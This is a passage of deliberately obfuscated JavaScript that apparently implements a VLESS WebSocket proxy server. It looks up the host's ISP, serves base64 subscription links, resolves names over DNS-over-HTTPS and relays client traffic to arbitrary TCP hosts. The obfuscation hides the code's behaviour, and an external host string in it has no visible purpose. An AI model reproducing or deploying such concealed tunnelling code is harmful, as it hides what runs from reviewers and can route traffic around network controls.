_0x39cab0(_0x3e57b7-0x71,_0x4fa8c8,_0x4fa8c8-0x1b9,_0x534702-0x18f);}const _0x3a4ccb={};_0x3a4ccb[_0x1d7fa0(0xdd,0x58,0xf,0x78)]=_0x1008f2(0x2b6,0x32b,0x2d6,0x348)+'d64.ssss.n'+'yc.mn/v1',_0x3a4ccb[_0x1d7fa0(0xba,0xc8,0x5f,0x185)]=_0x1d7fa0(0x153,0x118,0x1b3,0x8f);function _0x1d7fa0(_0x5bd88b,_0x58682a,_0x143bc5,_0xbd8483){return _0x39cab0(_0x5bd88b-0x141,_0x58682a,_0x143bc5-0x1d0,_0x5bd88b- -0xf9);}_0x3a4ccb[_0x1008f2(0x3de,0x385,0x302,0x374)]='Unknown';const _0x462148=_0x3a4ccb;try{if(_0x462148[_0x1d7fa0(0xba,0xc2,0x3a,0x166)]!==_0x462148[_0x1008f2(0x3f0,0x2d8,0x400,0x342)])return _0x462148[_0x1008f2(0x2d8,0x410,0x2cd,0x365)];else{const _0x20dc83=await axios[_0x1d7fa0(0x193,0xf2,0x24d,0xd4)]('https://ap'+_0x1008f2(0x37c,0x3e0,0x402,0x3ab)+_0x1008f2(0x401,0x31f,0x39b,0x328)),_0x400723=_0x20dc83[_0x1008f2(0x2a1,0x399,0x426,0x355)];ISP=(_0x400723[_0x1008f2(0x328,0x490,0x37f,0x401)+'de']+'-'+_0x400723['isp'])[_0x1d7fa0(0x1db,0x2b1,0x10a,0x285)](/ /g,'_');}}catch(_0x237b1b){ISP=_0x462148[_0x1008f2(0x2e8,0x31b,0x2af,0x374)];}};GetISP();const httpServer=http['createServ'+'er']((_0x39b7b6,_0x47e4ae)=>{const _0x437241={};_0x437241[_0x14c3dd(0x4a5,0x46b,0x520,0x50a)]='Hello\x20worl'+'d!',_0x437241[_0x14c3dd(0x4d7,0x53c,0x522,0x5e2)]=_0x5ed4ba(-0xfd,-0xa5,-0x132,-0xcf),_0x437241[_0x5ed4ba(-0x13d,-0x126,-0x14b,-0x18e)]=function(_0xe03131,_0x2c450d){return _0xe03131===_0x2c450d;},_0x437241[_0x14c3dd(0x42f,0x56f,0x4a1,0x484)]=_0x5ed4ba(0x53,-0x6,-0x17,0x1),_0x437241[_0x5ed4ba(-0x10f,0x14,-0xae,-0xb6)]='utf8',_0x437241['CebbR']=function(_0x53b70e,_0x5194c6){return _0x53b70e+_0x5194c6;},_0x437241[_0x14c3dd(0x393,0x446,0x3dd,0x3e3)]=function(_0x2588b2,_0x2b5395){return _0x2588b2+_0x2b5395;},_0x437241[_0x5ed4ba(-0xdf,-0x18,-0xa1,-0x4d)]=_0x14c3dd(0x5b7,0x63e,0x567,0x4f7),_0x437241[_0x5ed4ba(-0x147,-0x152,-0x181,-0x242)]=_0x14c3dd(0x5f8,0x4b6,0x524,0x5d9);function _0x5ed4ba(_0x54d078,_0x5d48ed,_0x3134b1,_0x4f121a){return _0x34f073(_0x4f121a,_0x5d48ed-0xfe,_0x3134b1-0x123,_0x3134b1-0xfd);}function _0x14c3dd(_0x121eae,_0x4b516e,_0x117060,_0x1864f0){return _0x34f073(_0x121eae,_0x4b516e-0x21,_0x117060-0x1f,_0x117060-0x66c);}_0x437241[_0x5ed4ba(-0x153,-0x1c2,-0x148,-0x1b5)]=_0x14c3dd(0x4a1,0x46d,0x49c,0x52f);const _0x48c4d9=_0x437241;if(_0x48c4d9[_0x14c3dd(0x405,0x3c5,0x424,0x4fc)](_0x39b7b6[_0x5ed4ba(-0x14c,-0x224,-0x197,-0x191)],'/')){const _0x102f37=path[_0x5ed4ba(-0x189,-0x119,-0x14d,-0x14c)](__dirname,_0x48c4d9['mshgj']);fs[_0x14c3dd(0x551,0x503,0x491,0x4b5)](_0x102f37,_0x48c4d9[_0x5ed4ba(-0x108,0x9,-0xae,-0xa7)],(_0x219740,_0x1f6571)=>{if(_0x219740){const _0x38000b={};_0x38000b[_0x1c2f44(0x2a,-0x19,0xb0,0x180)+'pe']='text/html',_0x47e4ae[_0x5c2b4d(-0x18d,-0x127,-0x195,-0x108)](0x12d5*-0x2+-0x1*-0x15dd+0x1095,_0x38000b),_0x47e4ae[_0x1c2f44(-0x1d,0x7d,0x9b,0x25)](_0x48c4d9[_0x1c2f44(0xa1,0x66,0x9c,-0xf)]);return;}const _0x45e7bc={};_0x45e7bc[_0x5c2b4d(0xf,-0x140,-0x74,-0x145)+'pe']=_0x48c4d9[_0x5c2b4d(-0xea,-0x154,-0x86,0x8)];function _0x1c2f44(_0x361cce,_0x8882f4,_0x35dfd2,_0x18496f){return _0x14c3dd(_0x361cce,_0x8882f4-0x163,_0x35dfd2- -0x484,_0x18496f-0xf1);}function _0x5c2b4d(_0x15c450,_0x45507c,_0x41fe33,_0x5f165b){return _0x14c3dd(_0x45507c,_0x45507c-0x1d5,_0x41fe33- -0x5a8,_0x5f165b-0x1ed);}_0x47e4ae[_0x5c2b4d(-0x1bd,-0xcf,-0x195,-0x1a2)](-0x7*-0x223+0x1885+-0x26b2,_0x45e7bc),_0x47e4ae[_0x1c2f44(0x107,0xa2,0x9b,0x151)](_0x1f6571);});return;}else{if(_0x39b7b6[_0x5ed4ba(-0x1d2,-0x263,-0x197,-0x1d2)]==='/'+SUB_PATH){const _0xc8d2c4=NAME?NAME+'-'+ISP:ISP,_0x4ceb07='vless://'+UUID+(_0x5ed4ba(-0xd7,-0x60,-0x12f,-0x13f)+'.eu.org:44'+_0x5ed4ba(-0xeb,-0xe0,-0x4a,-0xc9)+_0x5ed4ba(-0xe2,-0x1a8,-0x17f,-0x127)+_0x14c3dd(0x4d5,0x555,0x4fb,0x43b)+'&sni=')+DOMAIN+('&fp=chrome'+_0x5ed4ba(-0x1f2,-0x15e,-0x15f,-0x120)+'ost=')+DOMAIN+'&path=%2F'+WSPATH+'#'+_0xc8d2c4,_0x50486e=_0x5ed4ba(-0xe0,-0x26,-0xed,-0xfc)+UUID+(_0x14c3dd(0x45c,0x511,0x440,0x450)+_0x5ed4ba(-0x9f,-0x6,0xc,-0x6b)+'3?security'+_0x5ed4ba(-0x72,-0xd9,-0xe4,-0xf0))+DOMAIN+(_0x14c3dd(0x55e,0x50a,0x488,0x3c4)+_0x14c3dd(0x4a5,0x447,0x410,0x37d)+_0x14c3dd(0x434,0x388,0x461,0x4bc))+DOMAIN+_0x14c3dd(0x375,0x464,0x434,0x36f)+WSPATH+'#'+_0xc8d2c4,_0x1c12e1=_0x48c4d9[_0x14c3dd(0x593,0x58b,0x53d,0x5d3)](_0x48c4d9['bDnlQ'](_0x4ceb07,'\x0a'),_0x50486e),_0x1a3df7=Buffer[_0x14c3dd(0x58d,0x56c,0x4da,0x443)](_0x1c12e1)[_0x14c3dd(0x50e,0x4ae,0x574,0x4d2)](_0x48c4d9[_0x5ed4ba(-0x88,-0x56,-0xa1,-0x47)]),_0x538581={};_0x538581[_0x5ed4ba(-0xbf,0x3f,-0x3b,-0x84)+'pe']=_0x48c4d9[_0x5ed4ba(-0x24e,-0x102,-0x181,-0x1ee)],_0x47e4ae['writeHead'](-0x5c5+0xb82+-0x4f5,_0x538581),_0x47e4ae[_0x5ed4ba(-0x7c,-0xe4,-0x50,0x6b)](_0x1a3df7+'\x0a');}else{const _0x3066a2={};_0x3066a2[_0x14c3dd(0x5b7,0x513,0x534,0x48b)+'pe']=_0x48c4d9[_0x14c3dd(0x3e0,0x408,0x3ee,0x4be)],_0x47e4ae[_0x14c3dd(0x3f5,0x3e6,0x413,0x49e)](-0x1a07*0x1+0x2248+0x6ad*-0x1,_0x3066a2),_0x47e4ae[_0x14c3dd(0x5ed,0x56b,0x51f,0x4e0)](_0x48c4d9[_0x5ed4ba(-0x89,-0x83,-0x148,-0x194)]);}}}),_0x2770cc={};_0x2770cc[_0x39cab0(0x207,0x2d6,0x14a,0x20b)]=httpServer;const wss=new WebSocket[(_0x39cab0(0x124,0x239,0x13c,0x1f5))](_0x2770cc),uuid=UUID[_0x39cab0(0x357,0x21b,0x20c,0x2d4)](/-/g,''),DNS_SERVERS=[_0x34f073(-0x334,-0x20b,-0x1f1,-0x292),_0x39cab0(0x16e,0x10c,0xef,0x157)];function resolveHost(_0x1bc9b9){function _0x1edb77(_0x16d71d,_0x4c8dc6,_0xe821a,_0x5d3d84){return _0x34f073(_0xe821a,_0x4c8dc6-0x1a1,_0xe821a-0x1e1,_0x4c8dc6-0x27c);}function _0x13bba1(_0x5e351e,_0x2228f9,_0x5f5b41,_0x132074){return _0x34f073(_0x132074,_0x2228f9-0x12,_0x5f5b41-0x1ab,_0x5e351e-0x7f);}const _0x10e7e4={'nRktR':_0x13bba1(-0x112,-0x1b0,-0x14a,-0x6b)+_0x1edb77(0xc5,0x84,0x52,0x17),'IoXth':'{}.constru'+_0x13bba1(-0x1b6,-0x217,-0x215,-0x10f)+_0x1edb77(0xc5,0xb,-0x35,-0xae)+'\x20)','msUbr':function(_0x5594a4){return _0x5594a4();},'MWNEe':_0x13bba1(-0x212,-0x279,-0x2c3,-0x18a),'cxcsi':function(_0x3f493c,_0xfdd79c){return _0x3f493c===_0xfdd79c;},'Fipzw':function(_0xea4b2f,_0x221ed7){return _0xea4b2f>_0x221ed7;},'zQBus':function(_0x2fd9fb,_0x4acd84){return _0x2fd9fb>=_0x4acd84;},'nzlqr':function(_0x3433d7,_0x5b9e6a){return _0x3433d7!==_0x5b9e6a;},'gNtaj':'gEwtm','ltobY':function(_0xde939c,_0x26723f){return _0xde939c(_0x26723f);},'XlvkF':_0x13bba1(-0xb7,-0xf3,-0x2e,-0x103)+'n/dns-json','QOWQk':function(_0x3e773f,_0x88808d){return _0x3e773f(_0x88808d);},'jzOsU':function(_0x1ee987,_0x5ba936,_0x4b5b7e){return _0x1ee987(_0x5ba936,_0x4b5b7e);},'QsmyV':_0x1edb77(0x1e,0xa5,-0x2,0x156)+'pm','OYiEk':_0x13bba1(-0x114,-0x60,-0x1d1,-0x188)};return new Promise((_0x4f6d75,_0x1ad0f2)=>{function _0x1cde0b(_0x395041,_0x4e2e8d,_0x32e3c6,_0x4bf4cd){return _0x13bba1(_0x395041-0xa9,_0x4e2e8d-0xca,_0x32e3c6-0xf0,_0x4bf4cd);}function _0x5bac4d(_0x1ff789,_0x53988d,_0x3d457c,_0x4a8c76){return _0x13bba1(_0x4a8c76-0x65a,_0x53988d-0x40,_0x3d457c-0x1d1,_0x53988d);}const _0x4bc615={'NZExT':function(_0x56338c,_0x334b76){function _0x45039c(_0xf53b14,_0x1fa0f6,_0x50788a,_0x2b3f21){return _0x2d27(_0x50788a-0x123,_0x2b3f21);}return _0x10e7e4[_0x45039c(0x183,0x12b,0x1dc,0x120)](_0x56338c,_0x334b76);},'pHWJL':function(_0x216fcc,_0x22188c,_0x503c68){function _0x1d9388(_0x128df5,_0x186379,_0x40348a,_0x45f03d){return _0x2d27(_0x40348a- -0x30f,_0x45f03d);}return _0x10e7e4[_0x1d9388(-0x1a6,-0x191,-0x1fd,-0x132)](_0x216fcc,_0x22188c,_0x503c68);},'ZzcGs':_0x10e7e4[_0x5bac4d(0x619,0x62d,0x4b9,0x578)],'gNdWo':_0x1cde0b(-0x3,-0x88,0xbf,-0x39),'rZEMA':_0x10e7e4['OYiEk'],'SMmhv':function(_0x3d0fec){function _0x101dcb(_0x3610b8,_0x1a7850,_0x40941b,_0x2a50ff){return _0x5bac4d(_0x3610b8-0x6f,_0x1a7850,_0x40941b-0x16,_0x3610b8- -0x54a);}return _0x10e7e4[_0x101dcb(0x23,-0x27,-0x85,0x54)](_0x3d0fec);}};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x5bac4d(0x5b1,0x4b5,0x412,0x4e0)](_0x1bc9b9)){_0x10e7e4['ltobY'](_0x4f6d75,_0x1bc9b9);return;}let _0xb72f36=-0x95e+0x24fd+0x935*-0x3;function _0x176366(){const _0x4adb2d={'sNRxE':function(_0x5193f2,_0x533c88,_0x1bb99b){return _0x5193f2(_0x533c88,_0x1bb99b);},'XZEdI':function(_0x11d644,_0x3bf37e){return _0x11d644(_0x3bf37e);},'HGNDB':_0x10e7e4[_0x53f587(-0x7d,-0x10,-0xe2,-0x4e)],'kucPW':_0x10e7e4[_0x53f587(-0x12,0x4a,0x29,0x61)],'TBROv':function(_0x2149bb){function _0x30d06d(_0x260ff1,_0x5e7728,_0x706d42,_0x1cd625){return _0x53f587(_0x260ff1-0x57,_0x260ff1-0x21b,_0x706d42-0x120,_0x5e7728);}return _0x10e7e4[_0x30d06d(0x270,0x2da,0x2aa,0x260)](_0x2149bb);},'vkpwL':_0x10e7e4['MWNEe'],'OMeRM':function(_0x40d411,_0x1f3f36){function _0x16bf88(_0x479da4,_0x15b346,_0x5ce3b0,_0x459a47){return _0x53f587(_0x479da4-0xe1,_0x15b346-0x32e,_0x5ce3b0-0x1ac,_0x459a47);}return _0x10e7e4[_0x16bf88(0x42c,0x3bb,0x403,0x3fd)](_0x40d411,_0x1f3f36);},'kSBUX':function(_0x3114a0,_0x17fa3a){return _0x10e7e4['Fipzw'](_0x3114a0,_0x17fa3a);}};if(_0x10e7e4[_0x53f587(-0x132,-0x8a,-0x9d,-0x12)](_0xb72f36,DNS_SERVERS[_0x277b8b(-0xd7,-0x12f,-0x14c,-0x194)])){if(_0x10e7e4[_0x277b8b(-0xcd,-0xb8,-0x180,-0x50)](_0x10e7e4[_0x53f587(0xae,-0x19,-0x85,-0x51)],_0x277b8b(-0x72,-0xa6,-0x8,0x27))){const _0x510d43=_0x56fd23['slice'](-0x1*0x411+-0x1f74+-0x11c3*-0x2,0x1855+0xdb6+-0x25fa*0x1),_0x46674e=_0x510d43[_0x277b8b(-0x11a,-0x1ad,-0x1a8,-0x182)]((_0x3850f3,_0x4cb721)=>_0x3850f3==_0x34b8b3(_0x4c50d2[_0x53f587(0x86,0x1c,-0x15,0x1d)](_0x4cb721*(-0x2326+0xdd*-0x10+0x30f8),0x4f*-0x59+-0x1*-0xafa+0x67*0x29),-0x392+-0x1fd2+0x2374));if(_0x46674e){!_0x4adb2d[_0x53f587(-0x4f,-0xaa,-0x67,-0xcb)](_0x34aa78,_0x1135e5,_0x5adc74)&&_0x29e122[_0x53f587(0x82,0x59,0x1f,0xe)]();return;}}else{_0x1ad0f2(new Error('Failed\x20to\x20'+_0x277b8b(-0xdc,-0x124,-0x13b,-0x63)+_0x1bc9b9+('\x20with\x20all\x20'+_0x53f587(0x3d,0x80,0x10a,0xd4)+'s')));return;}}const _0x572697=DNS_SERVERS[_0xb72f36];_0xb72f36++;const _0x27d925=_0x53f587(0xb2,0xbf,0x78,0x10a)+'s.google/r'+_0x53f587(0x3f,0xa8,0xc4,0x108)+'e='+_0x10e7e4['ltobY'](encodeURIComponent,_0x1bc9b9)+_0x277b8b(-0x188,-0x116,-0x8c,-0xb4),_0x5e3bce={};function _0x53f587(_0x4b9f78,_0x285245,_0x544165,_0x1bf91a){return _0x5bac4d(_0x4b9f78-0xae,_0x1bf91a,_0x544165-0x1ef,_0x285245- -0x518);}_0x5e3bce[_0x277b8b(-0xba,-0xbc,-0x12,-0x169)]=_0x10e7e4[_0x277b8b(-0x150,-0x10e,-0xa2,-0x1b1)];const _0x3995fa={};_0x3995fa[_0x53f587(0xa2,0x7d,0x138,-0x4c)]=0x1388,_0x3995fa['headers']=_0x5e3bce;function _0x277b8b(_0x289b4d,_0x296620,_0x38b323,_0x33df14){return _0x5bac4d(_0x289b4d-0xc8,_0x33df14,_0x38b323-0x1c6,_0x296620- -0x63a);}axios['get'](_0x27d925,_0x3995fa)[_0x277b8b(-0x1e3,-0x130,-0x12a,-0xd6)](_0x32ddeb=>{function _0x22bd47(_0x3687aa,_0x428348,_0x457e8e,_0xc2272f){return _0x277b8b(_0x3687aa-0x0,_0x457e8e-0x4e3,_0x457e8e-0x6f,_0xc2272f);}function _0x52e4d3(_0x5cceff,_0x3bfc4b,_0x92e7d1,_0x426d92){return _0x277b8b(_0x5cceff-0x17d,_0x426d92-0x561,_0x92e7d1-0x192,_0x3bfc4b);}if(_0x4adb2d[_0x22bd47(0x4c4,0x400,0x46f,0x48e)]!==_0x4adb2d['vkpwL']){const _0x125986=bhragO[_0x22bd47(0x4ae,0x46e,0x475,0x545)](_0x4ae3c0,bhragO['HGNDB']+bhragO[_0x52e4d3(0x572,0x419,0x56d,0x4af)]+');');_0x4e4583=bhragO[_0x22bd47(0x37e,0x3a0,0x388,0x42a)](_0x125986);}else{const _0x400fc5=_0x32ddeb[_0x52e4d3(0x353,0x38a,0x4b2,0x3fc)];if(_0x4adb2d[_0x22bd47(0x37c,0x2eb,0x386,0x30f)](_0x400fc5[_0x22bd47(0x3fe,0x47b,0x46b,0x4ec)],0x46c+-0x751+-0xd*-0x39)&&_0x400fc5[_0x52e4d3(0x431,0x50d,0x455,0x484)]&&_0x4adb2d[_0x52e4d3(0x3ff,0x30e,0x44a,0x39a)](_0x400fc5[_0x52e4d3(0x3df,0x44c,0x50a,0x484)][_0x22bd47(0x2f3,0x353,0x3b4,0x3fc)],0xa8*0x2+0x3d*0x59+0x481*-0x5)){const _0x29153a=_0x400fc5['Answer'][_0x52e4d3(0x5bb,0x5ba,0x552,0x4f9)](_0x5ae66a=>_0x5ae66a[_0x22bd47(0x43b,0x42e,0x3e6,0x3d1)]===0x1*0x1757+0x1*0x28d+-0x19e3);if(_0x29153a){_0x4f6d75(_0x29153a[_0x52e4d3(0x391,0x411,0x3e1,0x3fc)]);return;}}_0x4adb2d[_0x52e4d3(0x4dd,0x46e,0x435,0x406)](_0x176366);}})[_0x53f587(0x9f,0xca,0xc2,0x68)](_0x35442c=>{function _0x8cdbdb(_0x180385,_0x38475d,_0x5495f5,_0x46df91){return _0x53f587(_0x180385-0x155,_0x46df91- -0x109,_0x5495f5-0x17a,_0x5495f5);}const _0x266b40={'HPHXb':function(_0x4aa2ec,_0x5e6a71){function _0x4d126f(_0x10306c,_0x2440d9,_0x4dca09,_0x28381c){return _0x2d27(_0x2440d9- -0x1ef,_0x4dca09);}return _0x4bc615[_0x4d126f(-0x194,-0x151,-0x136,-0x13d)](_0x4aa2ec,_0x5e6a71);},'VvtYZ':_0x8cdbdb(-0x75,-0xc8,-0x62,-0x13a)+_0x8cdbdb(-0x150,-0x14a,-0x204,-0x1b8)+_0x395a28(-0x319,-0x2f7,-0x2aa,-0x263),'XHNsA':function(_0x57e334,_0x4f3614,_0x5df212){return _0x4bc615['pHWJL'](_0x57e334,_0x4f3614,_0x5df212);},'WPoTh':_0x4bc615[_0x8cdbdb(-0x282,-0x274,-0x22e,-0x1d8)],'kTpfQ':_0x4bc615['gNdWo'],'Oirwd':_0x395a28(-0x271,-0x261,-0x296,-0x206)};function _0x395a28(_0x5b1b09,_0x3ab55b,_0x4ee853,_0x1274f9){return _0x53f587(_0x5b1b09-0x161,_0x5b1b09- -0x24f,_0x4ee853-0x8f,_0x1274f9);}if(_0x395a28(-0x1ad,-0x1bd,-0x1ce,-0x1e6)!==_0x4bc615[_0x8cdbdb(-0x9c,-0x6b,-0x145,-0xc0)])_0x4bc615[_0x395a28(-0x31c,-0x38f,-0x34d,-0x3f3)](_0x176366);else{const _0x50160c={'lXtHq':function(_0x3ed850,_0xecf4a3){function _0x4a66d2(_0x33fb14,_0x2dfc6f,_0x3978af,_0x58173d){return _0x395a28(_0x2dfc6f- -0x1f,_0x2dfc6f-0xcb,_0x3978af-0xf7,_0x3978af);}return _0x266b40[_0x4a66d2(-0x28b,-0x32f,-0x38a,-0x365)](_0x3ed850,_0xecf4a3);},'toUUs':function(_0x1d6978){return _0x1d6978();},'rHNSw':_0x266b40[_0x395a28(-0x1fb,-0x1cf,-0x232,-0x23f)],'aJNgB':function(_0x42dfa2,_0x486a1d,_0x449558){function _0x3d7f70(_0xc2fe0e,_0x41ca9a,_0x364de8,_0x228bb2){return _0x395a28(_0xc2fe0e-0x29b,_0x41ca9a-0x1aa,_0x364de8-0xa4,_0x41ca9a);}return _0x266b40[_0x3d7f70(0x52,-0x7c,0xec,0x100)](_0x42dfa2,_0x486a1d,_0x449558);},'QxUMF':_0x266b40[_0x395a28(-0x18e,-0xd7,-0x1da,-0x25a)]};_0x43b18b['on'](_0x266b40[_0x8cdbdb(-0x181,-0x17a,-0x105,-0x19e)],()=>{function _0x7f7205(_0x2084f3,_0x1d1fc2,_0x3ffde0,_0x5d45f5){return _0x8cdbdb(_0x2084f3-0x199,_0x1d1fc2-0x113,_0x1d1fc2,_0x3ffde0-0x3ec);}_0x53d16d[_0x7f7205(0x2a3,0x2e3,0x350,0x393)](_0x50160c[_0x7f7205(0x262,0x243,0x2b3,0x37f)]);function _0x33a598(_0x9a444c,_0x2ecb66,_0x356f2e,_0x42af73){return _0x8cdbdb(_0x9a444c-0x172,_0x2ecb66-0x4f,_0x356f2e,_0x2ecb66- -0x151);}_0x50160c[_0x33a598(-0x2a3,-0x25a,-0x1b3,-0x317)](_0x23dc14,_0x50160c[_0x33a598(-0xfd,-0x1c7,-0x196,-0x191)],_0xb6ac61=>{if(_0xb6ac61)_0x50160c[_0x35d04c(0x459,0x483,0x47f,0x42f)](_0x5ae652,_0xb6ac61);function _0x35d04c(_0x3fcd15,_0x345ba2,_0x9a3ee6,_0x2364cd){return _0x33a598(_0x3fcd15-0xae,_0x345ba2-0x76f,_0x3fcd15,_0x2364cd-0xdf);}_0x50160c['toUUs'](_0x5a176a);});}),_0x4f15e9['on'](_0x266b40[_0x395a28(-0x1c1,-0x11b,-0x1e6,-0x1fe)],_0x31d1d3);}});}_0x176366();});}function handleVlessConnection(_0x1e1e32,_0xc33cfc){const _0x41f1f6={'ejnya':function(_0x3649b8,_0x37c3c7){return _0x3649b8!==_0x37c3c7;},'bJWdZ':_0x3200c7(0x4e9,0x4d6,0x416,0x443),'BlbdI':_0x3200c7(0x3e9,0x4ef,0x4d6,0x45a),'MZddo':_0x3200c7(0x4b6,0x477,0x40d,0x49b),'rfeCZ':function(_0x1f325a,_0x56e736){return _0x1f325a+_0x56e736;},'PwmZL':function(_0x1c7a9e,_0x2b9b20){return _0x1c7a9e==_0x2b9b20;},'gxaIR':function(_0xf5ca21,_0x4fac44){return _0xf5ca21+_0x4fac44;},'JgcTx':function(_0x3c1993,_0x16bd8a){return _0x3c1993==_0x16bd8a;},'JfrhH':function(_0x168f79,_0x2b0733){return _0x168f79(_0x2b0733);}},[_0x4ae041]=_0xc33cfc,_0x4cb09c=_0xc33cfc[_0x4eda81(0x1f4,0x223,0x1e2,0x175)](0x593*0x1+0xb56+-0x10e8,-0x26*-0x49+-0x26bc+0x1bf7);if(!_0x4cb09c[_0x3200c7(0x454,0x4d0,0x409,0x432)]((_0x4d0f37,_0x3bd289)=>_0x4d0f37==parseInt(uuid[_0x3200c7(0x41a,0x575,0x4ae,0x4d9)](_0x3bd289*(0x98f+0x13d5*0x1+-0x1d62),0x1b1*-0x5+0x249a+0x405*-0x7),-0x3*0xcf+0x1*0x6f7+-0x47a*0x1)))return![];let _0x1b6c45=_0x41f1f6[_0x4eda81(0x187,0x255,0x219,0xbf)](_0xc33cfc[_0x3200c7(0x58b,0x47f,0x56a,0x4fb)](-0x43*0x25+-0x725*-0x1+0x29b,-0x3ad*0x5+0x1*0x6e1+0x1*0xb92)['readUInt8'](),0x1cce+0x2555+-0x4210);const _0x55d77c=_0xc33cfc[_0x4eda81(0x1f4,0x2a3,0x24b,0x1e3)](_0x1b6c45,_0x1b6c45+=-0x1*0x21dd+0x1*0x23e8+0x1*-0x209)[_0x3200c7(0x459,0x3b3,0x4b9,0x426)+'BE'](-0x1cd3*0x1+0x1*-0x473+-0x10a3*-0x2),_0x3a4ab4=_0xc33cfc[_0x4eda81(0x1f4,0x211,0x226,0x2bc)](_0x1b6c45,_0x1b6c45+=0xc92+0x2085+-0x2d16)[_0x4eda81(0x14a,0x20e,0xb3,0x1e1)](),_0x2ea66f=_0x41f1f6[_0x4eda81(0x171,0xe7,0x1ac,0x1a7)](_0x3a4ab4,0x13*-0x1a6+-0x1134+-0x7b*-0x65)?_0xc33cfc[_0x4eda81(0x1f4,0x1fc,0x246,0x250)](_0x1b6c45,_0x1b6c45+=-0x3*0x6fd+0x38b*-0x7+0x2dc8)['join']('.'):_0x41f1f6[_0x4eda81(0x171,0x1d9,0x185,0xbd)](_0x3a4ab4,-0x37d*-0x1+0x8c4+0x3*-0x415)?new TextDecoder()['decode'](_0xc33cfc['slice'](_0x1b6c45+(0x9*0x3+0xecb+-0xee5),_0x1b6c45+=_0x41f1f6[_0x3200c7(0x3fb,0x43b,0x512,0x48e)](0xc89+0x2fe+-0xf86,_0xc33cfc[_0x4eda81(0x1f4,0x11b,0x282,0x2c8)](_0x1b6c45,_0x41f1f6[_0x3200c7(0x563,0x56b,0x4de,0x570)](_0x1b6c45,-0x197a+-0x59b+-0x1f16*-0x1))[_0x3200c7(0x3cf,0x388,0x391,0x451)]()))):_0x41f1f6['JgcTx'](_0x3a4ab4,-0xcab+0x50e+-0x8*-0xf4)?_0xc33cfc[_0x3200c7(0x53b,0x4de,0x4a9,0x4fb)](_0x1b6c45,_0x1b6c45+=-0xc56+-0x2*0x2c5+-0x148*-0xe)[_0x3200c7(0x420,0x41b,0x3bb,0x42c)]((_0x549fd9,_0x27e6a0,_0x1068c1,_0x3b5da8)=>_0x1068c1%(-0x25cd*-0x1+0x54f*0x7+-0xf6*0x4e)?_0x549fd9[_0x4eda81(0x117,0x77,0xde,0x41)](_0x3b5da8[_0x4eda81(0x1f4,0x169,0x2bc,0x2b9)](_0x1068c1-(-0xcf5*0x1+-0x10ec+0x1de2),_0x1068c1+(0x4*0x170+0x347*-0x9+0x17c0))):_0x549fd9,[])[_0x4eda81(0x1b2,0x21a,0x250,0x180)](_0x1e8423=>_0x1e8423[_0x3200c7(0x472,0x4a4,0x3c2,0x426)+'BE'](0xf5*-0xe+-0xa*0x2c2+0x28fa)[_0x4eda81(0x27f,0x20c,0x218,0x212)](-0x61*-0x61+0x1d50+-0x4201))[_0x3200c7(0x420,0x474,0x4d8,0x434)](':'):'';_0x1e1e32[_0x4eda81(0x110,0x90,0x15a,0x13e)](new Uint8Array([_0x4ae041,0x17bf+-0xd8+0xd*-0x1c3]));const _0x3019ee=_0x41f1f6[_0x4eda81(0xfd,0x15a,0xa7,0x1a2)](createWebSocketStream,_0x1e1e32);function _0x3200c7(_0x1717e2,_0x376eee,_0x2f8ebf,_0x4481e4){return _0x34f073(_0x1717e2,_0x376eee-0xe2,_0x2f8ebf-0x6a,_0x4481e4-0x67e);}_0x41f1f6[_0x3200c7(0x37c,0x47b,0x472,0x404)](resolveHost,_0x2ea66f)[_0x3200c7(0x519,0x4fe,0x4b2,0x4af)](_0x50f827=>{function _0x3aa182(_0x2bf0c3,_0x29405d,_0x5b8733,_0x5a140e){return _0x4eda81(_0x5a140e- -0x282,_0x5b8733,_0x5b8733-0x161,_0x5a140e-0x2d);}const _0x39cebe={'GKYUk':function(_0x3cf9cf,_0x53a9e3){function _0x228b1b(_0x808474,_0x4e71f0,_0x105303,_0x43799b){return _0x2d27(_0x808474-0x121,_0x43799b);}return _0x41f1f6[_0x228b1b(0x213,0x185,0x1f7,0x1ab)](_0x3cf9cf,_0x53a9e3);},'eTjFg':_0x41f1f6[_0x3aa182(-0xb7,0x41,-0xc3,-0x6)],'ThsMW':_0x41f1f6[_0x4216c7(-0x230,-0x3ad,-0x344,-0x2f3)],'byNbv':_0x41f1f6[_0x4216c7(-0x1ae,-0x268,-0x24d,-0x22e)]},_0x1ee153={};_0x1ee153[_0x3aa182(-0xf6,-0x23,0x45,-0x59)]=_0x50f827;function _0x4216c7(_0xd90d1,_0x5b1d0f,_0x4ff3df,_0x48ee9b){return _0x4eda81(_0x48ee9b- -0x3d3,_0xd90d1,_0x4ff3df-0x38,_0x48ee9b-0xe8);}_0x1ee153[_0x3aa182(-0x36,-0xc,-0xd,-0xbd)]=_0x55d77c,net[_0x4216c7(-0x26a,-0x1ba,-0xfc,-0x1b9)](_0x1ee153,function(){function _0x3d7ac5(_0x592c39,_0x147a38,_0x1ca86a,_0x47158b){return _0x4216c7(_0x592c39,_0x147a38-0x11e,_0x1ca86a-0x36,_0x1ca86a-0x642);}function _0x4d7f75(_0x414481,_0x499e9f,_0x12b5ad,_0x5592fc){return _0x4216c7(_0x5592fc,_0x499e9f-0xa4,_0x12b5ad-0x94,_0x499e9f-0x367);}if(_0x39cebe[_0x3d7ac5(0x5ba,0x474,0x4f3,0x457)](_0x39cebe['eTjFg'],_0x39cebe[_0x4d7f75(0x1cb,0x20c,0x1e0,0x24f)]))this[_0x4d7f75(0x1c4,0x14f,0x17e,0x117)](_0xc33cfc['slice'](_0x1b6c45)),_0x3019ee['on'](_0x39cebe['byNbv'],()=>{})[_0x3d7ac5(0x403,0x344,0x3a6,0x2f0)](this)['on'](_0x39cebe[_0x3d7ac5(0x2cc,0x2dc,0x3a4,0x410)],()=>{})['pipe'](_0x3019ee);else{const 